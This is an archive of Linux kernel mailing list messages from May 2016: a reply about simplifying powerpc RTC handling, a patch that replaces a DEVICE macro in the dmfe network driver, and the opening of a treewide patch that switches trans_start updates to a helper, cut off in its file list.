Envelope-to: glps-linuxsh-dev@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-sh-owner@vger.kernel.org>)
	id 1axXan-0006pJ-JY
	for glps-linuxsh-dev@plane.gmane.org; Tue, 03 May 2016 12:30:13 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755609AbcECKaM (ORCPT <rfc822;glps-linuxsh-dev@m.gmane.org>);
	Tue, 3 May 2016 06:30:12 -0400
Original-Received: from mout.kundenserver.de ([212.227.17.13]:64392 "EHLO
	mout.kundenserver.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750952AbcECKaL (ORCPT
	<rfc822;linux-sh@vger.kernel.org>); Tue, 3 May 2016 06:30:11 -0400
Original-Received: from wuerfel.localnet ([78.42.132.4]) by mrelayeu.kundenserver.de
 (mreue103) with ESMTPSA (Nemesis) id 0LaaTv-1bNkrv28q7-00mIJO; Tue, 03 May
 2016 12:29:36 +0200
User-Agent: KMail/4.11.5 (Linux/3.16.0-10-generic; KDE/4.11.5; x86_64; ; )
In-Reply-To: <1462248309.12788.4.camel@ellerman.id.au>
X-Provags-ID: V03:K0:/Zx+JLsRMxuMfb9laK4QPbG8HIXbvTWhI2VlXTQsEJmgbNe9C/2
 6aNCi/hBw+9bR3vHwiPNw5/yYj+1SjzJBigaVScNVuXDwX6466+VFQH5mD301in/mhfQRQq
 uO1ETRuyf4Ttw6JmPaWGojnaeh+8HDg42VvJnyx6H93AGQoQd7LjZJnsQ3XVEePmPEKdoxW
 JJ1RscdojCGoSXHtRL0Vg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:xBnZDbex7KA=:OTEiV6UWihXBUUWBlgU7h1
 9E5V4X/kuIfoxiWGHhRVanLSyho63wQ7L4AuSJmomMmDChwVN4UaWu3RtR5V+je4xu9lTo+rz
 LDHOdeY9BquDY1u/JiVoh5uwtqJkNu3y4VTcnmQ6hmEEaoF7/CLtEEZgwqMZf24Qd1c34y5Pr
 subudwvd7roPWUSx4aP0ZcFZfaxnBl0glhI9hw+rm/RVbUvbpGStddLPPZIk4rNXjOkMokmLs
 i0aC7N/rJOO3BCmJjb2lb1y4wy3KlY0k3nHD6unbDNelgNu18ZEB2C+hfvh7WM4QgT6tW36F/
 Xryx4jnSzaqEUbOSLaW0NvZpKUNyI6/xA0a4riXg763OdK8pYZL3i6HAx/LL6ZR+wAoGJ6iTC
 jcscPpl3O9kW01FMoyIVv+ywFTxOLGek6AeSORoPTPT79E6clHoNkdJh5lnKS5SgJ4dZR48Ob
 V64Kh1aKBBJNcKWUkbBxGL1wSwWrPSnmIk69qiDP1F6NsohSTB0kDCYXujae40U8FQtOD6uap
 cxDSxCFSE9w9EEk3p3loqYYR8Okua6g4VDkiCy+h8fIdWtXcEXnh8lQhmP2OxJi106Agod2rb
 L4xgNUd/8w9DZrvbZXu/MI7qNNhsXpuZmyHpnCOmdCBb1gOH9NYKx9Z4nUEfQgUHaUMra3GyR
 6dukH/LtIWVtlHu54XvhTl4Xp4v+78cqZCYRk788Z28Z0yLmy+Q2cRg7sy8reC3I0Uo0efy+w
 iKop3/RHxMG3q+G2
Original-Sender: linux-sh-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-sh.vger.kernel.org>
X-Mailing-List: linux-sh@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sh.devel:53986 gmane.linux.ports.alpha:3718 gmane.linux.kernel:2213751 gmane.linux.ports.parisc:26750 gmane.linux.ports.ppc64.devel:126865 gmane.linux.kernel.cross-arch:31884
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sh.devel/53986>

On Tuesday 03 May 2016 14:05:09 Michael Ellerman wrote:
> On Thu, 2016-04-28 at 00:34 +0200, Arnd Bergmann wrote:
> 
> > The rtc-generic driver provides an architecture specific
> > wrapper on top of the generic rtc_class_ops abstraction,
> > and powerpc has another abstraction on top, which is a bit
> > silly.
> > 
> > This changes the powerpc rtc-generic device to provide its
> > rtc_class_ops directly, to reduce the number of layers
> > by one.
> > 
> > Signed-off-by: Arnd Bergmann <arnd@arndb.de>
> > ---
> >  arch/powerpc/kernel/time.c | 29 ++++++++++++++++++++++++++++-
> >  drivers/rtc/rtc-generic.c  |  2 +-
> >  2 files changed, 29 insertions(+), 2 deletions(-)
> 
> If this hits linux-next it will go through my automated boot testing, which
> hopefully would be sufficient to catch any bugs in this patch, cross fingers.
> 
> I don't know jack about all the layers of RTC mess, so my ack is basically
> worthless here. But if you like you can have one anyway 
> 
> Acked-by: Michael Ellerman <mpe@ellerman.id.au>

Thanks!

The main thing that could use testing here is for patch 12/16 to see if
/sbin/hwclock can still read and write the time on a machine that
uses one of the genrtc backends on powerpc, this includes
rtas_get_rtc_time, mpc8xx_get_rtc_time, maple_get_rtc_time,
ps3_get_rtc_time and pmac_get_rtc_time. Testing on a pSeries with rtas
should be sufficient, and if I made a mistake, it probably fails
spectacularly.

Just for reference, if anyone ever wants to clean this up further on
powerpc to remove all of the rtc handling from architecture code,
it has gotten easier after my series:

- The update_persistent_clock() and read_persistent_clock() callbacks
  are now unnecessary: as long as the RTC driver is built into the
  kernel, drivers/rtc/hctosys.c takes care of setting the initial
  time (otherwise user space has to do it), and the other users
  (ntp and suspend/resume) will work fine whenever an rtc driver
  is loaded. Obviously you will want to test the kernel better after
  removing the two functions.

- Once they are gone, the only users of the ppc_md.{get,set}_rtc_time
  callbacks are in the "const struct rtc_class_ops rtc_generic_ops".
  You can move them into the five files implementing those callbacks
  and call the functions directly to get rid of the function pointers.

- Lastly, after that is done, you basically have five independent
  rtc device drivers that can get moved to drivers/rtc and converted
  into regular platform drivers. Instead of registering the fake
  "rtc-generic" device, you then register the one that is actually
  there like arch/powerpc/sysdev/rtc_cmos_setup.c already does, or
  use the one that gets created from DT.

	Arnd
--
To unsubscribe from this list: send the line "unsubscribe linux-sh" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Florian Westphal <fw@strlen.de>
Newsgroups: gmane.linux.kernel,gmane.linux.network,gmane.linux.ports.parisc
Subject: [PATCH net-next 1/5] dmfe: kill DEVICE define
Date: Tue,  3 May 2016 16:30:58 +0200
Lines: 141
Approved: news@gmane.org
Message-ID: <1462285862-30946-2-git-send-email-fw@strlen.de>
References: <1462285862-30946-1-git-send-email-fw@strlen.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1462288746 19189 80.91.229.3 (3 May 2016 15:19:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 3 May 2016 15:19:06 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, Florian Westphal <fw@strlen.de>,
	linux-parisc@vger.kernel.org
To: <netdev@vger.kernel.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue May 03 17:18:53 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1axc5v-0007nU-BX
	for glk-linux-kernel-3@plane.gmane.org; Tue, 03 May 2016 17:18:39 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756116AbcECPSc (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Tue, 3 May 2016 11:18:32 -0400
Original-Received: from Chamillionaire.breakpoint.cc ([80.244.247.6]:49815 "EHLO
	Chamillionaire.breakpoint.cc" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S933643AbcECPSa (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Tue, 3 May 2016 11:18:30 -0400
Original-Received: from fw by Chamillionaire.breakpoint.cc with local (Exim 4.84_2)
	(envelope-from <fw@breakpoint.cc>)
	id 1axc5i-0000j9-U4; Tue, 03 May 2016 17:18:27 +0200
X-Mailer: git-send-email 2.7.3
In-Reply-To: <1462285862-30946-1-git-send-email-fw@strlen.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2213947 gmane.linux.network:410908 gmane.linux.ports.parisc:26751
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2213947>

use net_device directly. Compile tested, objdiff shows no changes.

Cc: linux-parisc@vger.kernel.org
Signed-off-by: Florian Westphal <fw@strlen.de>
---
 drivers/net/ethernet/dec/tulip/dmfe.c | 39 ++++++++++++++++-------------------
 1 file changed, 18 insertions(+), 21 deletions(-)

diff --git a/drivers/net/ethernet/dec/tulip/dmfe.c b/drivers/net/ethernet/dec/tulip/dmfe.c
index afd8e78..dd1c815 100644
--- a/drivers/net/ethernet/dec/tulip/dmfe.c
+++ b/drivers/net/ethernet/dec/tulip/dmfe.c
@@ -192,9 +192,6 @@
 	(__CHK_IO_SIZE(((pci_dev)->device << 16) | (pci_dev)->vendor, \
 	(pci_dev)->revision))
 
-/* Sten Check */
-#define DEVICE net_device
-
 /* Structure/enum declaration ------------------------------- */
 struct tx_desc {
         __le32 tdes0, tdes1, tdes2, tdes3; /* Data for the card */
@@ -313,10 +310,10 @@ static u8 SF_mode;		/* Special Function: 1:VLAN, 2:RX Flow Control
 
 
 /* function declaration ------------------------------------- */
-static int dmfe_open(struct DEVICE *);
-static netdev_tx_t dmfe_start_xmit(struct sk_buff *, struct DEVICE *);
-static int dmfe_stop(struct DEVICE *);
-static void dmfe_set_filter_mode(struct DEVICE *);
+static int dmfe_open(struct net_device *);
+static netdev_tx_t dmfe_start_xmit(struct sk_buff *, struct net_device *);
+static int dmfe_stop(struct net_device *);
+static void dmfe_set_filter_mode(struct net_device *);
 static const struct ethtool_ops netdev_ethtool_ops;
 static u16 read_srom_word(void __iomem *, int);
 static irqreturn_t dmfe_interrupt(int , void *);
@@ -326,8 +323,8 @@ static void poll_dmfe (struct net_device *dev);
 static void dmfe_descriptor_init(struct net_device *);
 static void allocate_rx_buffer(struct net_device *);
 static void update_cr6(u32, void __iomem *);
-static void send_filter_frame(struct DEVICE *);
-static void dm9132_id_table(struct DEVICE *);
+static void send_filter_frame(struct net_device *);
+static void dm9132_id_table(struct net_device *);
 static u16 dmfe_phy_read(void __iomem *, u8, u8, u32);
 static void dmfe_phy_write(void __iomem *, u8, u8, u16, u32);
 static void dmfe_phy_write_1bit(void __iomem *, u32);
@@ -336,12 +333,12 @@ static u8 dmfe_sense_speed(struct dmfe_board_info *);
 static void dmfe_process_mode(struct dmfe_board_info *);
 static void dmfe_timer(unsigned long);
 static inline u32 cal_CRC(unsigned char *, unsigned int, u8);
-static void dmfe_rx_packet(struct DEVICE *, struct dmfe_board_info *);
-static void dmfe_free_tx_pkt(struct DEVICE *, struct dmfe_board_info *);
+static void dmfe_rx_packet(struct net_device *, struct dmfe_board_info *);
+static void dmfe_free_tx_pkt(struct net_device *, struct dmfe_board_info *);
 static void dmfe_reuse_skb(struct dmfe_board_info *, struct sk_buff *);
-static void dmfe_dynamic_reset(struct DEVICE *);
+static void dmfe_dynamic_reset(struct net_device *);
 static void dmfe_free_rxbuffer(struct dmfe_board_info *);
-static void dmfe_init_dm910x(struct DEVICE *);
+static void dmfe_init_dm910x(struct net_device *);
 static void dmfe_parse_srom(struct dmfe_board_info *);
 static void dmfe_program_DM9801(struct dmfe_board_info *, int);
 static void dmfe_program_DM9802(struct dmfe_board_info *);
@@ -558,7 +555,7 @@ static void dmfe_remove_one(struct pci_dev *pdev)
  *	The interface is opened whenever "ifconfig" actives it.
  */
 
-static int dmfe_open(struct DEVICE *dev)
+static int dmfe_open(struct net_device *dev)
 {
 	struct dmfe_board_info *db = netdev_priv(dev);
 	const int irq = db->pdev->irq;
@@ -617,7 +614,7 @@ static int dmfe_open(struct DEVICE *dev)
  *	Enable Tx/Rx machine
  */
 
-static void dmfe_init_dm910x(struct DEVICE *dev)
+static void dmfe_init_dm910x(struct net_device *dev)
 {
 	struct dmfe_board_info *db = netdev_priv(dev);
 	void __iomem *ioaddr = db->ioaddr;
@@ -684,7 +681,7 @@ static void dmfe_init_dm910x(struct DEVICE *dev)
  */
 
 static netdev_tx_t dmfe_start_xmit(struct sk_buff *skb,
-					 struct DEVICE *dev)
+					 struct net_device *dev)
 {
 	struct dmfe_board_info *db = netdev_priv(dev);
 	void __iomem *ioaddr = db->ioaddr;
@@ -754,7 +751,7 @@ static netdev_tx_t dmfe_start_xmit(struct sk_buff *skb,
  *	The interface is stopped when it is brought.
  */
 
-static int dmfe_stop(struct DEVICE *dev)
+static int dmfe_stop(struct net_device *dev)
 {
 	struct dmfe_board_info *db = netdev_priv(dev);
 	void __iomem *ioaddr = db->ioaddr;
@@ -798,7 +795,7 @@ static int dmfe_stop(struct DEVICE *dev)
 
 static irqreturn_t dmfe_interrupt(int irq, void *dev_id)
 {
-	struct DEVICE *dev = dev_id;
+	struct net_device *dev = dev_id;
 	struct dmfe_board_info *db = netdev_priv(dev);
 	void __iomem *ioaddr = db->ioaddr;
 	unsigned long flags;
@@ -879,7 +876,7 @@ static void poll_dmfe (struct net_device *dev)
  *	Free TX resource after TX complete
  */
 
-static void dmfe_free_tx_pkt(struct DEVICE *dev, struct dmfe_board_info * db)
+static void dmfe_free_tx_pkt(struct net_device *dev, struct dmfe_board_info *db)
 {
 	struct tx_desc *txptr;
 	void __iomem *ioaddr = db->ioaddr;
@@ -961,7 +958,7 @@ static inline u32 cal_CRC(unsigned char * Data, unsigned int Len, u8 flag)
  *	Receive the come packet and pass to upper layer
  */
 
-static void dmfe_rx_packet(struct DEVICE *dev, struct dmfe_board_info * db)
+static void dmfe_rx_packet(struct net_device *dev, struct dmfe_board_info *db)
 {
 	struct rx_desc *rxptr;
 	struct sk_buff *skb, *newskb;
@@ -1052,7 +1049,7 @@ static void dmfe_rx_packet(struct DEVICE *dev, struct dmfe_board_info * db)
  * Set DM910X multicast address
  */
 
-static void dmfe_set_filter_mode(struct DEVICE * dev)
+static void dmfe_set_filter_mode(struct net_device *dev)
 {
 	struct dmfe_board_info *db = netdev_priv(dev);
 	unsigned long flags;
-- 
2.7.3



From - Thu Nov 08 21:38:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Florian Westphal <fw-HFFVJYpyMKqzQB+pC5nmwQ@public.gmane.org>
Newsgroups: gmane.linux.kernel.wireless.general,gmane.linux.network,gmane.linux.uml.devel,gmane.linux.kernel.firewire.devel,gmane.linux.drivers.rdma,gmane.linux.scsi,gmane.linux.can,gmane.linux.ports.parisc,gmane.linux.ports.arm.omap,gmane.linux.hams,gmane.linux.usb.general,gmane.org.freifunk.batman,gmane.linux.bluez.kernel
Subject: [PATCH net-next 4/5] treewide: replace dev->trans_start update with helper
Date: Tue,  3 May 2016 16:33:13 +0200
Lines: 2899
Approved: news@gmane.org
Message-ID: <1462285994-31983-1-git-send-email-fw@strlen.de>
References: <1462285862-30946-1-git-send-email-fw@strlen.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1462288890 21391 80.91.229.3 (3 May 2016 15:21:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 3 May 2016 15:21:30 +0000 (UTC)
Cc: Florian Westphal <fw-HFFVJYpyMKqzQB+pC5nmwQ@public.gmane.org>,
	user-mode-linux-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org,
	linux1394-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org, linux-rdma-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	MPT-FusionLinux.pdl-dY08KVG/lbpWk0Htik3J/w@public.gmane.org, linux-scsi-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-can-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-omap-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-hams-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-usb-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-wireless-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, devel-gWbeCf7V1WCQmaza687I9mD2FQJk+8+b@public.gmane.org,
	b.a.t.m.a.n-ZwoEplunGu2X36UT3dwllkB+6BGkLq7r@public.gmane.org, linux-bluetooth-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: <netdev-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Original-X-From: linux-wireless-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Tue May 03 17:21:13 2016
Return-path: <linux-wireless-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glkwg-linux-wireless-wOFGN7rlS/M9smdsby/KFg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-wireless-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1axc8K-0000xy-8R
	for glkwg-linux-wireless-wOFGN7rlS/M9smdsby/KFg@public.gmane.org; Tue, 03 May 2016 17:21:09 +0200
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S933667AbcECPUv (ORCPT <rfc822;glkwg-linux-wireless@m.gmane.org>);
	Tue, 3 May 2016 11:20:51 -0400
Original-Received: from Chamillionaire.breakpoint.cc ([80.244.247.6]:49846 "EHLO
	Chamillionaire.breakpoint.cc" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S932593AbcECPUn (ORCPT
	<rfc822;linux-wireless-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>);
	Tue, 3 May 2016 11:20:43 -0400
Original-Received: from fw by Chamillionaire.breakpoint.cc with local (Exim 4.84_2)
	(envelope-from <fw-E0PNVn5OA6ohrxcnuTQ+TQ@public.gmane.org>)
	id 1axc7h-0000lL-0v; Tue, 03 May 2016 17:20:29 +0200
X-Mailer: git-send-email 2.7.3
In-Reply-To: <1462285862-30946-1-git-send-email-fw-HFFVJYpyMKqzQB+pC5nmwQ@public.gmane.org>
Original-Sender: linux-wireless-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-wireless.vger.kernel.org>
X-Mailing-List: linux-wireless-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.wireless.general:151748 gmane.linux.network:410913 gmane.linux.uml.devel:15862 gmane.linux.kernel.firewire.devel:17502 gmane.linux.drivers.rdma:36223 gmane.linux.scsi:113475 gmane.linux.can:9303 gmane.linux.ports.parisc:26752 gmane.linux.ports.arm.omap:135502 gmane.linux.hams:7348 gmane.linux.usb.general:141324 gmane.org.freifunk.batman:14959 gmane.linux.bluez.kernel:67468
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.wireless.general/151748>

Replace all trans_start updates with netif_trans_update helper.
change was done via spatch:

struct net_device *d;
@@
- d->trans_start = jiffies
+ netif_trans_update(d)

Compile tested only.

Cc: user-mode-linux-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org
Cc: linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org
Cc: linux1394-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org
Cc: linux-rdma-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Cc: netdev-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Cc: MPT-FusionLinux.pdl-dY08KVG/lbpWk0Htik3J/w@public.gmane.org
Cc: linux-scsi-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Cc: linux-can-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Cc: linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Cc: linux-omap-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Cc: linux-hams-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Cc: linux-usb-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Cc: linux-wireless-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Cc: linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Cc: devel-gWbeCf7V1WCQmaza687I9mD2FQJk+8+b@public.gmane.org
Cc: b.a.t.m.a.n-ZwoEplunGu2X36UT3dwllkB+6BGkLq7r@public.gmane.org
Cc: linux-bluetooth-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Signed-off-by: Florian Westphal <fw-HFFVJYpyMKqzQB+pC5nmwQ@public.gmane.org>
---
 Checkpatch complains about whitespace damage, but
 this extra whitespace already exists before this patch.

 arch/um/drivers/net_kern.c                             | 4 ++--
 arch/xtensa/platforms/iss/network.c                    | 2 +-
 drivers/char/pcmcia/synclink_cs.c                      | 4 ++--
 drivers/firewire/net.c                                 | 2 +-
 drivers/infiniband/hw/nes/nes_nic.c                    | 2 +-
 drivers/infiniband/ulp/ipoib/ipoib_cm.c                | 2 +-
 drivers/infiniband/ulp/ipoib/ipoib_ib.c                | 2 +-
 drivers/isdn/hysdn/hysdn_net.c                         | 2 +-
 drivers/isdn/i4l/isdn_net.c                            | 4 ++--
 drivers/isdn/i4l/isdn_x25iface.c                       | 2 +-
 drivers/message/fusion/mptlan.c                        | 2 +-
 drivers/net/appletalk/cops.c                           | 2 +-
 drivers/net/can/mscan/mscan.c                          | 4 ++--
 drivers/net/can/usb/ems_usb.c                          | 4 ++--
 drivers/net/can/usb/esd_usb2.c                         | 4 ++--
 drivers/net/can/usb/peak_usb/pcan_usb_core.c           | 4 ++--
 drivers/net/cris/eth_v10.c                             | 2 +-
 drivers/net/ethernet/3com/3c509.c                      | 2 +-
 drivers/net/ethernet/3com/3c515.c                      | 2 +-
 drivers/net/ethernet/3com/3c574_cs.c                   | 2 +-
 drivers/net/ethernet/3com/3c589_cs.c                   | 2 +-
 drivers/net/ethernet/3com/3c59x.c                      | 2 +-
 drivers/net/ethernet/8390/axnet_cs.c                   | 6 +++---
 drivers/net/ethernet/8390/lib8390.c                    | 4 ++--
 drivers/net/ethernet/adaptec/starfire.c                | 2 +-
 drivers/net/ethernet/adi/bfin_mac.c                    | 2 +-
 drivers/net/ethernet/agere/et131x.c                    | 4 ++--
 drivers/net/ethernet/allwinner/sun4i-emac.c            | 6 +++---
 drivers/net/ethernet/amd/7990.c                        | 4 ++--
 drivers/net/ethernet/amd/a2065.c                       | 2 +-
 drivers/net/ethernet/amd/atarilance.c                  | 2 +-
 drivers/net/ethernet/amd/au1000_eth.c                  | 2 +-
 drivers/net/ethernet/amd/declance.c                    | 2 +-
 drivers/net/ethernet/amd/lance.c                       | 2 +-
 drivers/net/ethernet/amd/ni65.c                        | 4 ++--
 drivers/net/ethernet/amd/nmclan_cs.c                   | 2 +-
 drivers/net/ethernet/amd/pcnet32.c                     | 4 ++--
 drivers/net/ethernet/amd/sunlance.c                    | 2 +-
 drivers/net/ethernet/atheros/alx/main.c                | 2 +-
 drivers/net/ethernet/broadcom/bcmsysport.c             | 2 +-
 drivers/net/ethernet/broadcom/genet/bcmgenet.c         | 2 +-
 drivers/net/ethernet/broadcom/sb1250-mac.c             | 2 +-
 drivers/net/ethernet/broadcom/tg3.c                    | 2 +-
 drivers/net/ethernet/cavium/liquidio/lio_main.c        | 4 ++--
 drivers/net/ethernet/cavium/octeon/octeon_mgmt.c       | 2 +-
 drivers/net/ethernet/cavium/thunder/nicvf_main.c       | 2 +-
 drivers/net/ethernet/chelsio/cxgb4vf/sge.c             | 2 +-
 drivers/net/ethernet/davicom/dm9000.c                  | 4 ++--
 drivers/net/ethernet/dec/tulip/de4x5.c                 | 4 ++--
 drivers/net/ethernet/dec/tulip/dmfe.c                  | 6 +++---
 drivers/net/ethernet/dec/tulip/pnic.c                  | 6 +++---
 drivers/net/ethernet/dec/tulip/tulip_core.c            | 2 +-
 drivers/net/ethernet/dec/tulip/uli526x.c               | 4 ++--
 drivers/net/ethernet/dec/tulip/winbond-840.c           | 2 +-
 drivers/net/ethernet/dlink/dl2k.c                      | 2 +-
 drivers/net/ethernet/dlink/sundance.c                  | 2 +-
 drivers/net/ethernet/fealnx.c                          | 2 +-
 drivers/net/ethernet/freescale/gianfar.c               | 2 +-
 drivers/net/ethernet/fujitsu/fmvj18x_cs.c              | 2 +-
 drivers/net/ethernet/hisilicon/hix5hd2_gmac.c          | 2 +-
 drivers/net/ethernet/hisilicon/hns/hns_enet.c          | 6 +++---
 drivers/net/ethernet/hp/hp100.c                        | 2 +-
 drivers/net/ethernet/i825xx/82596.c                    | 2 +-
 drivers/net/ethernet/i825xx/lib82596.c                 | 2 +-
 drivers/net/ethernet/i825xx/sun3_82586.c               | 4 ++--
 drivers/net/ethernet/ibm/emac/core.c                   | 4 ++--
 drivers/net/ethernet/intel/fm10k/fm10k_pci.c           | 2 +-
 drivers/net/ethernet/intel/ixgbe/ixgbe_main.c          | 2 +-
 drivers/net/ethernet/korina.c                          | 8 ++++----
 drivers/net/ethernet/lantiq_etop.c                     | 4 ++--
 drivers/net/ethernet/marvell/pxa168_eth.c              | 2 +-
 drivers/net/ethernet/marvell/sky2.c                    | 2 +-
 drivers/net/ethernet/micrel/ksz884x.c                  | 4 ++--
 drivers/net/ethernet/microchip/encx24j600.c            | 2 +-
 drivers/net/ethernet/moxa/moxart_ether.c               | 2 +-
 drivers/net/ethernet/natsemi/natsemi.c                 | 2 +-
 drivers/net/ethernet/natsemi/sonic.c                   | 2 +-
 drivers/net/ethernet/nuvoton/w90p910_ether.c           | 4 ++--
 drivers/net/ethernet/packetengines/hamachi.c           | 2 +-
 drivers/net/ethernet/packetengines/yellowfin.c         | 2 +-
 drivers/net/ethernet/qlogic/netxen/netxen_nic_main.c   | 2 +-
 drivers/net/ethernet/qualcomm/qca_spi.c                | 2 +-
 drivers/net/ethernet/realtek/atp.c                     | 2 +-
 drivers/net/ethernet/seeq/sgiseeq.c                    | 4 ++--
 drivers/net/ethernet/sgi/meth.c                        | 4 ++--
 drivers/net/ethernet/sis/sis900.c                      | 2 +-
 drivers/net/ethernet/smsc/epic100.c                    | 2 +-
 drivers/net/ethernet/smsc/smc911x.c                    | 6 +++---
 drivers/net/ethernet/smsc/smc9194.c                    | 4 ++--
 drivers/net/ethernet/smsc/smc91c92_cs.c                | 4 ++--
 drivers/net/ethernet/smsc/smc91x.c                     | 4 ++--
 drivers/net/ethernet/sun/niu.c                         | 2 +-
 drivers/net/ethernet/sun/sungem.c                      | 2 +-
 drivers/net/ethernet/synopsys/dwc_eth_qos.c            | 4 ++--
 drivers/net/ethernet/tehuti/tehuti.c                   | 2 +-
 drivers/net/ethernet/ti/cpsw.c                         | 2 +-
 drivers/net/ethernet/ti/netcp_core.c                   | 4 ++--
 drivers/net/ethernet/ti/tlan.c                         | 2 +-
 drivers/net/ethernet/tile/tilepro.c                    | 2 +-
 drivers/net/ethernet/toshiba/spider_net.c              | 2 +-
 drivers/net/ethernet/via/via-rhine.c                   | 2 +-
 drivers/net/ethernet/wiznet/w5100.c                    | 2 +-
 drivers/net/ethernet/wiznet/w5300.c                    | 2 +-
 drivers/net/ethernet/xilinx/ll_temac_main.c            | 2 +-
 drivers/net/ethernet/xilinx/xilinx_axienet_main.c      | 2 +-
 drivers/net/ethernet/xilinx/xilinx_emaclite.c          | 4 ++--
 drivers/net/ethernet/xircom/xirc2ps_cs.c               | 2 +-
 drivers/net/fjes/fjes_main.c                           | 2 +-
 drivers/net/hamradio/mkiss.c                           | 2 +-
 drivers/net/hamradio/scc.c                             | 2 +-
 drivers/net/hamradio/yam.c                             | 2 +-
 drivers/net/irda/ali-ircc.c                            | 8 ++++----
 drivers/net/irda/bfin_sir.c                            | 2 +-
 drivers/net/irda/irda-usb.c                            | 4 ++--
 drivers/net/irda/nsc-ircc.c                            | 8 ++++----
 drivers/net/irda/smsc-ircc2.c                          | 2 +-
 drivers/net/irda/stir4200.c                            | 2 +-
 drivers/net/irda/via-ircc.c                            | 8 ++++----
 drivers/net/slip/slip.c                                | 2 +-
 drivers/net/usb/catc.c                                 | 4 ++--
 drivers/net/usb/kaweth.c                               | 2 +-
 drivers/net/usb/lan78xx.c                              | 4 ++--
 drivers/net/usb/pegasus.c                              | 2 +-
 drivers/net/usb/rtl8150.c                              | 4 ++--
 drivers/net/usb/usbnet.c                               | 4 ++--
 drivers/net/wan/cosa.c                                 | 2 +-
 drivers/net/wan/farsync.c                              | 6 +++---
 drivers/net/wan/lmc/lmc_main.c                         | 2 +-
 drivers/net/wan/sbni.c                                 | 8 ++++----
 drivers/net/wimax/i2400m/netdev.c                      | 2 +-
 drivers/net/wireless/cisco/airo.c                      | 6 +++---
 drivers/net/wireless/intel/ipw2x00/ipw2100.c           | 2 +-
 drivers/net/wireless/intel/ipw2x00/ipw2200.c           | 6 +++---
 drivers/net/wireless/intersil/hostap/hostap_hw.c       | 2 +-
 drivers/net/wireless/intersil/orinoco/main.c           | 2 +-
